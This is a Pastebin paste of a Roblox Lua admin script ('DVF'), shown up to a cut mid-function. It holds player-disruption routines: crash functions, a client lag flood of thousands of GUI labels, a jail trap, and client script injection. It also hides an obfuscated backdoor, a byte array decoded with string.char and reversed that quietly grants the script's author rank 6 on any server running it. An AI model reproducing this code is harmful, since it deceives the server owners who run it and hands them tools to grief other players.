Advertisement
swagergod

my admin

Apr 19th, 2015
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.42 KB | None | 0 0
  1. wait(0)
  2. script.Parent = nil
  3. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
  4. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  5. --To Open Commands Say "cmds;". The bet key is "!" (Without the "").
  6. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  7.  
  8. Plrs = game:GetService("Players")
  9. Work = game:GetService("Workspace")
  10. Light = game:GetService("Lighting")
  11. Net = game:GetService("NetworkServer")
  12. Owner = "T0tallyN0tATr0ll"
  13. Removed = false
  14. Bet = ";"
  15. LS = nil
  16. LSSource = nil
  17. OwnSource = nil
  18. FoundLocalScript = false
  19. LogOn = false
  20. Current = game
  21. Clipboard = {}
  22. AlertColor = Color3.new(0, 1, 1)
  23. OptionColor = Color3.new(1, 1, 1)
  24. ImportantColor = Color3.new(1, 0, 1)
  25.  
  26. RankDetails = {
  27. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  28. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  29. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  30. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  31. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  32. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  33. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  34. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  35. [5] = {Name = "Seer", Color = Color3.new(-1, -1, -1), Desc = "A Extremly Important robloxian"},
  36. [6] = {Name = "SeerMod", Color = Color3.new(0, -1, -1), Desc = "SeerMod Better than seer"},
  37. [7] = {Name = "SeerAdministerator", Color = Color3.new(0, 0, -1), Desc = "A holy SeerMod But better."},
  38. [8] = {Name = "LordSeer", Color = Color3.new(3, 3, 3), Desc = "Co Very important person"},
  39. [9] = {Name = "UberSeer", Color = Color3.new(4, -1, 4), Desc = "A god Like person"},
  40. [10] = {Name = "GodSeer", Color = Color3.new(0, 1, 0), Desc = "A Extremly Important robloxian"},
  41. }
  42.  
  43. Rankings = {
  44. {Name = "Player", Rank = 10},
  45. {Name = "Abscissa", Rank = 4},
  46. {Name = "Ultimatekiller010", Rank = 3},
  47. {Name = "DrBackstab", Rank = 3},
  48. {Name = "LuaModelMaker", Rank = 3},
  49. {Name = "MakerModelLua", Rank = 3},
  50. {Name = "MrMrLua", Rank = 5},
  51. {Name = "MountainSnow", Rank = 3},
  52. {Name = "Madiik", Rank = 3},
  53. {Name = "dogwarrior24", Rank = 2},
  54. {Name = "ThePC8110", Rank = 2},
  55. {Name = "DEADDEVIL1919", Rank = 2},
  56. {Name = "toshir0z", Rank = 2},
  57. {Name = "Tippee", Rank = 2},
  58. {Name = "Trcker", Rank = 5},
  59. {Name = "nairod7", Rank = 2},
  60. {Name = "12packkid", Rank = 2},
  61. {Name = "TigreBlood", Rank = 2},
  62. {Name = "Frostftw", Rank = -1},
  63. {Name = "DoogleFox", Rank = 2},
  64. {Name = "Aetheus", Rank = 5},
  65. {Name = "Ri1es", Rank = 2},
  66. {Name = "hrocks1", Rank = 2},
  67. {Name = "Zinsei", Rank = 5},
  68. {Name = "ToontownROXYA", Rank = 2},
  69. {Name = "tusKOr661", Rank = 2},
  70. {Name = "Unicornhax", Rank = 1},
  71. {Name = "iMayor", Rank = 1},
  72. {Name = "iMyLittlePony", Rank = 1},
  73. {Name = "xXxkarlxXx", Rank = 1},
  74. {Name = "LightningRoMan", Rank = 1},
  75. {Name = "BrandonFireFlower", Rank = 1},
  76. {Name = "OMGshadeslayer", Rank = -1},
  77. {Name = "xRageBullx", Rank = -1},
  78. {Name = "cobraking123456789", Rank = 5},
  79. {Name = "spacelol123", Rank = 5},
  80. }
  81.  
  82. table.insert(Rankings, {Name = Owner, Rank = 10})
  83.  
  84. ImportantServices = {
  85. "Workspace",
  86. "Players",
  87. "NetworkServer",
  88. "Lighting",
  89. "StarterGui",
  90. "Teams",
  91. "StarterPack",
  92. }
  93.  
  94. Ranks = {}
  95. Commands = {}
  96. AllTabs = {}
  97. Injected = {}
  98.  
  99. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  100. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  101. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  102. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  103. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  104. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  105. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  106. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  107. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  108. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  109. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  110. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  111. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  112. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  113. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  114. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  115. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  116. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  117. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  118. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  119. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  120. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  121. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  122. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  123. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  124. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  125. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  126. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  127. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  128. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  129. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  130. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  131. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  132. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  133. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  134. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  135. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  136. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  137. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  138. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  139. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  140. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  141. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  142. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  143. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  144. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  145. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  146. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  147. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  148. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  149. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  150. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  151. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  152. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  153. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  154. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  155. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  156. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  157. "X","Y"}
  158.  
  159. --Main Functions And Sources
  160.  
  161. function Insert(Source, Par, Par2, Par3)
  162. ypcall(function()
  163. local Inserted = LS:Clone()
  164. Inserted.Disabled = true
  165. Inserted.Parent = Par or Par2 or Par3
  166. Inserted[LSSource].Value = Source
  167. Inserted.Disabled = false
  168. end)
  169. end
  170.  
  171. function CheckImportant(Name)
  172. for _,v in pairs(ImportantServices) do
  173. if v:lower() == Name:lower() then
  174. return true
  175. end
  176. end
  177. return false
  178. end
  179.  
  180. function Crash1(Plr)
  181. ypcall(function()
  182. Plr:Kick()
  183. end)
  184. end
  185.  
  186. function GetRankTab()
  187. return Rankings
  188. end
  189.  
  190. function Crash2(Name)
  191. local Crasher = Instance.new("StringValue")
  192. Crasher.Name = "Client"
  193. Crasher.Value = string.lower(tostring(Name))
  194. Crasher.Parent = game:GetService("Lighting")
  195. wait(1)
  196. if Crasher and Crasher.Parent then
  197. ypcall(function()
  198. Crasher:Destroy()
  199. end)
  200. end
  201. end
  202.  
  203. function Crash3(v, Speaker)
  204. Speaker.Character.Archivable = true
  205. local NChar = Speaker.Character:Clone()
  206. NChar.Name = v.Name
  207. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  208. NChar.Parent = Workspace
  209. v.Character = NChar
  210. coroutine.resume(coroutine.create(function()
  211. repeat v.Character = NChar
  212. wait(1/3) until false
  213. end))
  214. wait(.5)
  215. Insert(InsertCrash, NChar, nil, nil)
  216. end
  217.  
  218. function GenerateDigit()
  219. return 1 + 5
  220. end
  221.  
  222. InjectionCrash = [=[
  223. wait(0)
  224. script.Parent = nil
  225. local Lig = game:GetService("Lighting")
  226. local LP = game:GetService("Players").LocalPlayer
  227. local LowerName = LP.Name:lower()
  228.  
  229. Lig.ChildAdded:connect(function(Obj)
  230. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  231. pcall(function()
  232. Obj:Destroy()
  233. end)
  234. LP.Parent = nil
  235. LP.Parent = game:GetService("Players")
  236. end
  237. end)
  238. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  239.  
  240. InsertCrash = [==[
  241. local LP = game:GetService("Players").LocalPlayer
  242. LP.Parent = nil
  243. LP.Parent = game:GetService("Players")
  244. ]==]
  245.  
  246. LagSource = [==[
  247. wait(0)
  248. script.Parent = nil
  249. plr = game:GetService("Players").LocalPlayer
  250. local plrgui = plr:findFirstChild("PlayerGui")
  251. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  252. while plr.Parent == game:GetService("Players") do
  253. wait()
  254. for i = 1, 1000 do
  255. local sc = Instance.new("ScreenGui",plrgui)
  256. local fr = Instance.new("TextLabel",sc)
  257. fr.Text = "LAGGING"
  258. fr.Size = UDim2.new(1, 0, 1, 0)
  259. fr.FontSize = "Size48"
  260. end
  261. end
  262. ]==]
  263.  
  264. MuteSource = [==[
  265. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  266. ]==]
  267.  
  268. UnMuteSource = [==[
  269. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  270. ]==]
  271.  
  272. JailSource = [==[
  273. wait(0)
  274. script.Parent = nil
  275.  
  276. local LP = game:GetService("Players").LocalPlayer
  277. Middle2 = nil
  278. Middle = nil
  279. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  280.  
  281. Cons = {}
  282.  
  283. function makePrison()
  284. for _,v in pairs(Cons) do
  285. v:disconnect()
  286. end
  287. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  288. if Middle == nil then
  289. Middle2 = LP.Character.Torso.Position
  290. Middle = LP.Character.Torso.CFrame
  291. end
  292. local side1 = Instance.new("Part")
  293. side1.Name = "¬Focus1¬"
  294. side1.Size = Vector3.new(20, 50, 1)
  295. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  296. side1.BrickColor = BrickColor.new("Really black")
  297. side1.CanCollide = true
  298. side1.Anchored = true
  299. side1.TopSurface = "Smooth"
  300. side1.BottomSurface = "Smooth"
  301. side1.Parent = game:GetService("Workspace").CurrentCamera
  302.  
  303. local side2 = Instance.new("Part")
  304. side2.Name = "¬Focus2¬"
  305. side2.Size = Vector3.new(20, 50, 1)
  306. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  307. side2.BrickColor = BrickColor.new("Really black")
  308. side2.CanCollide = true
  309. side2.Anchored = true
  310. side2.TopSurface = "Smooth"
  311. side2.BottomSurface = "Smooth"
  312. side2.Parent = game:GetService("Workspace").CurrentCamera
  313.  
  314. local side3 = Instance.new("Part")
  315. side3.Name = "¬Focus3¬"
  316. side3.Size = Vector3.new(1, 50, 20)
  317. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  318. side3.BrickColor = BrickColor.new("Really black")
  319. side3.CanCollide = true
  320. side3.Anchored = true
  321. side3.TopSurface = "Smooth"
  322. side3.BottomSurface = "Smooth"
  323. side3.Parent = game:GetService("Workspace").CurrentCamera
  324.  
  325. local side4 = Instance.new("Part")
  326. side4.Name = "¬Focus4¬"
  327. side4.Size = Vector3.new(1, 50, 20)
  328. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  329. side4.BrickColor = BrickColor.new("Really black")
  330. side4.CanCollide = true
  331. side4.Anchored = true
  332. side4.TopSurface = "Smooth"
  333. side4.BottomSurface = "Smooth"
  334. side4.Parent = game:GetService("Workspace").CurrentCamera
  335.  
  336. local side5 = Instance.new("Part")
  337. side5.Name = "¬Focus5¬"
  338. side5.Size = Vector3.new(20, 1, 20)
  339. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  340. side5.BrickColor = BrickColor.new("Really black")
  341. side5.CanCollide = true
  342. side5.Anchored = true
  343. side5.TopSurface = "Smooth"
  344. side5.BottomSurface = "Smooth"
  345. side5.Parent = game:GetService("Workspace").CurrentCamera
  346.  
  347. wait(0)
  348.  
  349. table.insert(Cons, side1.Changed:connect(makePrison))
  350. table.insert(Cons, side2.Changed:connect(makePrison))
  351. table.insert(Cons, side3.Changed:connect(makePrison))
  352. table.insert(Cons, side4.Changed:connect(makePrison))
  353. table.insert(Cons, side5.Changed:connect(makePrison))
  354. end
  355.  
  356. Delay(0, function()
  357. while wait(0) do
  358. ypcall(function()
  359. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  360. LP.Character:BreakJoints()
  361. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  362. makePrison()
  363. end
  364. end)
  365. ypcall(function()
  366. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  367. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  368. end
  369. end)
  370. end
  371. end)
  372. ]==]
  373.  
  374. function All()
  375. local AllPlayers = {}
  376. for _,v in pairs(Plrs:GetPlayers()) do
  377. ypcall(function()
  378. table.insert(AllPlayers, v)
  379. end)
  380. end
  381. return AllPlayers
  382. end
  383.  
  384. function All2()
  385. local AllPlayers2 = {}
  386. for i,v in pairs(Net:GetChildren()) do
  387. ypcall(function()
  388. if v:IsA("ServerReplicator") then
  389. table.insert(AllPlayers2, v:GetPlayer())
  390. end
  391. end)
  392. end
  393. return AllPlayers2
  394. end
  395.  
  396. function MakeNum()
  397. return 2 + 4
  398. end
  399.  
  400. function ChangeRank(Plr, NewRank)
  401. local PlrName = nil
  402. local FoundPlayer = false
  403. ypcall(function()
  404. if type(Plr) == "string" then
  405. ypcall(function()
  406. for i,v in pairs(Rankings) do
  407. if v.Name:lower() == Plr:lower() then
  408. local VName = v.Name
  409. Rankings[i] = nil
  410. table.insert(Rankings, {Name = VName, Rank = NewRank})
  411. PlrName = VName
  412. FoundPlayer = true
  413. break
  414. end
  415. end
  416. end)
  417. if FoundPlayer == false then
  418. ypcall(function()
  419. for _,x in pairs(All()) do
  420. if x.Name:lower() == Plr:lower() then
  421. FoundPlayer = true
  422. for i,v in pairs(Rankings) do
  423. if v.Name:lower() == x.Name:lower() then
  424. local VName = x.Name
  425. Rankings[i] = nil
  426. PlrName = VName
  427. break
  428. end
  429. end
  430. table.insert(Rankings, {Name = VName, Rank = NewRank})
  431. end
  432. end
  433. end)
  434. end
  435. if FoundPlayer == false then
  436. ypcall(function()
  437. for _,x in pairs(All()) do
  438. if string.find(x.Name:lower(), Plr:lower()) then
  439. FoundPlayer = true
  440. for i,v in pairs(Rankings) do
  441. if v.Name:lower() == x.Name:lower() then
  442. local VName = x.Name
  443. Rankings[i] = nil
  444. PlrName = VName
  445. break
  446. end
  447. end
  448. table.insert(Rankings, {Name = VName, Rank = NewRank})
  449. end
  450. end
  451. end)
  452. end
  453. if FoundPlayer == false then
  454. ypcall(function()
  455. for i,v in pairs(Rankings) do
  456. if string.find(v.Name:lower(), Plr:lower()) then
  457. local VName = v.Name
  458. Rankings[i] = nil
  459. table.insert(Rankings, {Name = VName, Rank = NewRank})
  460. PlrName = VName
  461. FoundPlayer = true
  462. break
  463. end
  464. end
  465. end)
  466. end
  467. else
  468. for i,v in pairs(Rankings) do
  469. if v.Name:lower() == Plr.Name:lower() then
  470. Rankings[i] = nil
  471. break
  472. end
  473. end
  474. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  475. PlrName = Plr.Name
  476. end
  477. PlaceAllRanks(true)
  478. end)
  479. if PlrName ~= nil then
  480. return PlrName
  481. else
  482. return "Player"
  483. end
  484. end
  485.  
  486. function Refresh(Plr)
  487. MakeChildren(Plr)
  488. end
  489.  
  490. function MakeChildren(Plr)
  491. ypcall(function()
  492. Dismiss(Plr)
  493. for _,v in pairs(Current:GetChildren()) do
  494. ypcall(function()
  495. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  496. Ping(v.Name, Plr, nil, function(TabMod)
  497. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  498. for _,v in pairs(Current:GetChildren()) do
  499. ypcall(function()
  500. if v.Name == TabText then
  501. Dismiss(Plr)
  502. Current = v
  503. MakeChildren(Plr)
  504. end
  505. end)
  506. end
  507. end)
  508. elseif Plrs:GetPlayerFromCharacter(v) then
  509. Ping(v.Name, Plr, nil, function(TabMod)
  510. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  511. for _,v in pairs(Current:GetChildren()) do
  512. ypcall(function()
  513. if v.Name == TabText then
  514. Dismiss(Plr)
  515. Current = v
  516. MakeChildren(Plr)
  517. end
  518. end)
  519. end
  520. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  521. elseif CheckImportant(v.Name) then
  522. Ping(v.Name, Plr, nil, function(TabMod)
  523. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  524. for _,v in pairs(Current:GetChildren()) do
  525. ypcall(function()
  526. if v.Name == TabText then
  527. Dismiss(Plr)
  528. Current = v
  529. MakeChildren(Plr)
  530. end
  531. end)
  532. end
  533. end, ImportantColor)
  534. end
  535. end)
  536. end
  537. if Current ~= game then
  538. Ping("Back", Plr, nil, function()
  539. ypcall(function()
  540. Current = Current.Parent
  541. MakeChildren(Plr)
  542. Ping("You Are Back To "..Current.Name, Plr, 5)
  543. end)
  544. end, OptionColor)
  545. end
  546. if Current ~= game then
  547. Ping("Delete", Plr, nil, function()
  548. ypcall(function()
  549. local CurrPar = Current.Parent or game
  550. local CurrName = Current.Name
  551. Current:Destroy()
  552. Current = CurrPar
  553. MakeChildren(Plr)
  554. Ping("Attempted To Delete "..CurrName, Plr, 5)
  555. end)
  556. end, OptionColor)
  557. end
  558. Ping("Refresh", Plr, nil, function()
  559. ypcall(function()
  560. Refresh(Plr)
  561. Ping("Refreshed", Plr, 5)
  562. end)
  563. end, OptionColor)
  564. Ping("Properties", Plr, nil, function()
  565. ypcall(function()
  566. Dismiss(Plr)
  567. for Property, Value in pairs(GetProperties(Current)) do
  568. Ping(tostring(Property)..": "..tostring(Value), Plr)
  569. end
  570. Ping("Got All Available Properties", Plr, 5)
  571. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  572. end)
  573. end, OptionColor)
  574. end)
  575. end
  576.  
  577. function Fixl()
  578. Light.GlobalShadows = true
  579. Light.TimeOfDay = "14:00:00"
  580. Light.Brightness = 0.5
  581. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  582. Light.Ambient = Color3.new(1, 1, 1)
  583. Light.ColorShift_Top = Color3.new(0, 0, 0)
  584. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  585. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  586. Light.FogStart = 0
  587. Light.FogEnd = 100000
  588. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  589. Light:ClearAllChildren()
  590. end
  591.  
  592. function GetProperties(obj)
  593. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  594. local objProper = {}
  595. for i,v in pairs(Properties) do
  596. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  597. objProper[v] = obj[v]
  598. end
  599. end
  600. return objProper
  601. end
  602.  
  603. function MakeExplorer(Plr)
  604. Dismiss(Plr)
  605. Current = game
  606. for _,v in pairs(Current:GetChildren()) do
  607. ypcall(function()
  608. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  609. Ping(v.Name, Plr, nil, function(TabMod)
  610. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  611. for _,v in pairs(Current:GetChildren()) do
  612. ypcall(function()
  613. if v.Name == TabText then
  614. Dismiss(Plr)
  615. Current = v
  616. MakeChildren(Plr)
  617. end
  618. end)
  619. end
  620. end)
  621. elseif Plrs:GetPlayerFromCharacter(v) then
  622. Ping(v.Name, Plr, nil, function(TabMod)
  623. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  624. for _,v in pairs(Current:GetChildren()) do
  625. ypcall(function()
  626. if v.Name == TabText then
  627. Dismiss(Plr)
  628. Current = v
  629. MakeChildren(Plr)
  630. end
  631. end)
  632. end
  633. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  634. elseif CheckImportant(v.Name) then
  635. Ping(v.Name, Plr, nil, function(TabMod)
  636. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  637. for _,v in pairs(Current:GetChildren()) do
  638. ypcall(function()
  639. if v.Name == TabText then
  640. Dismiss(Plr)
  641. Current = v
  642. MakeChildren(Plr)
  643. end
  644. end)
  645. end
  646. end, ImportantColor)
  647. end
  648. end)
  649. end
  650. if Current ~= game then
  651. Ping("Back", Plr, nil, function()
  652. ypcall(function()
  653. Current = Current.Parent
  654. MakeChildren(Plr)
  655. Ping("Back In "..Current.Name, Plr, 5)
  656. end)
  657. end, OptionColor)
  658. end
  659. if Current ~= game and game:GetService(Current.Name) == nil then
  660. Ping("Delete", Plr, nil, function()
  661. ypcall(function()
  662. local CurrPar = Current.Parent or game
  663. local CurrName = Current.Name
  664. Current:Destroy()
  665. Current = CurrPar
  666. MakeChildren(Plr)
  667. Ping("Attempted To Delete "..CurrName, Plr, 5)
  668. end)
  669. end, OptionColor)
  670. end
  671. Ping("Refresh", Plr, nil, function()
  672. ypcall(function()
  673. Refresh(Plr)
  674. Ping("Refreshed", Plr, 5)
  675. end)
  676. end, OptionColor)
  677. Ping("Properties", Plr, nil, function()
  678. ypcall(function()
  679. Dismiss(Plr)
  680. for Property, Value in pairs(GetProperties(Current)) do
  681. Ping(tostring(Property)..": "..tostring(Value), Plr)
  682. end
  683. Ping("Got All Available Properties", Plr, 5)
  684. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  685. end)
  686. end, OptionColor)
  687. end
  688.  
  689. function GetRank(Plr1, Test)
  690. ypcall(function()
  691. if type(Plr1) == "userdata" then
  692. Plr1 = Plr1.Name
  693. end
  694. end)
  695. if Ranks[Plr1] ~= nil then
  696. return Ranks[Plr1]
  697. end
  698. local QuickArray = {}
  699. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  700. return QuickArray[Plr1]
  701. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  702.  
  703. function CanRun(Plr1, Plr2)
  704. Details1 = GetRank(Plr1.Name)
  705. Details2 = GetRank(Plr2.Name)
  706. if Details1.Rank >= Details2.Rank then
  707. return true
  708. end
  709. return false
  710. end
  711.  
  712. function Dismiss(Plr, Identity)
  713. ypcall(function()
  714. if Plr ~= nil then
  715. if type(Plr) == "userdata" then
  716. Plr = Plr.Name
  717. end
  718. for x,v in pairs(AllTabs) do
  719. ypcall(function()
  720. if v.Plr == Plr then
  721. if Identity ~= nil and v.ID ~= Identity then
  722. return
  723. elseif Identity ~= nil and v.ID == Identity then
  724. coroutine.resume(coroutine.create(function()
  725. for i = 0.5, 1, 0.1 do
  726. wait()
  727. v.Tab.Transparency = i
  728. v.Sel.Transparency = i
  729. v.Label.TextTransparency = i
  730. v.Label.TextStrokeTransparency = i
  731. end
  732. ypcall(function() v.Holder:Destroy() end)
  733. AllTabs[x] = nil
  734. end))
  735. elseif Identity == nil then
  736. ypcall(function() v.Holder:Destroy() end)
  737. AllTabs[x] = nil
  738. end
  739. end
  740. end)
  741. end
  742. else
  743. for i,v in pairs(AllTabs) do
  744. ypcall(function()
  745. v.Holder:Destroy()
  746. AllTabs[i] = nil
  747. end)
  748. end
  749. end
  750. end)
  751. end
  752.  
  753. function GetGarbage()
  754. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  755. end
  756.  
  757. function RemObj(Obj, Class)
  758. ypcall(function()
  759. if #Obj:GetChildren() > 0 then
  760. for _,x in pairs(Obj:GetChildren()) do
  761. ypcall(function()
  762. RemObj(x, Class)
  763. end)
  764. end
  765. end
  766. if Obj.ClassName == Class then
  767. Obj:Destroy()
  768. end
  769. end)
  770. end
  771.  
  772. function FindTab(Mod)
  773. for i,v in pairs(AllTabs) do
  774. if v.Holder == Mod then
  775. return true
  776. end
  777. end
  778. return false
  779. end
  780.  
  781. function Ping(Msg, Plr, Time, Func, Color, Image)
  782. if Removed == false then
  783. local ShowGarbage = false
  784. ypcall(function()
  785. if Msg == nil then
  786. Msg = "N/A"
  787. elseif Msg == "ShowGarbage" then
  788. Msg = "Current Garbage Count: "..GetGarbage()
  789. ShowGarbage = true
  790. else
  791. Msg = tostring(Msg)
  792. end
  793. if Plr == nil then
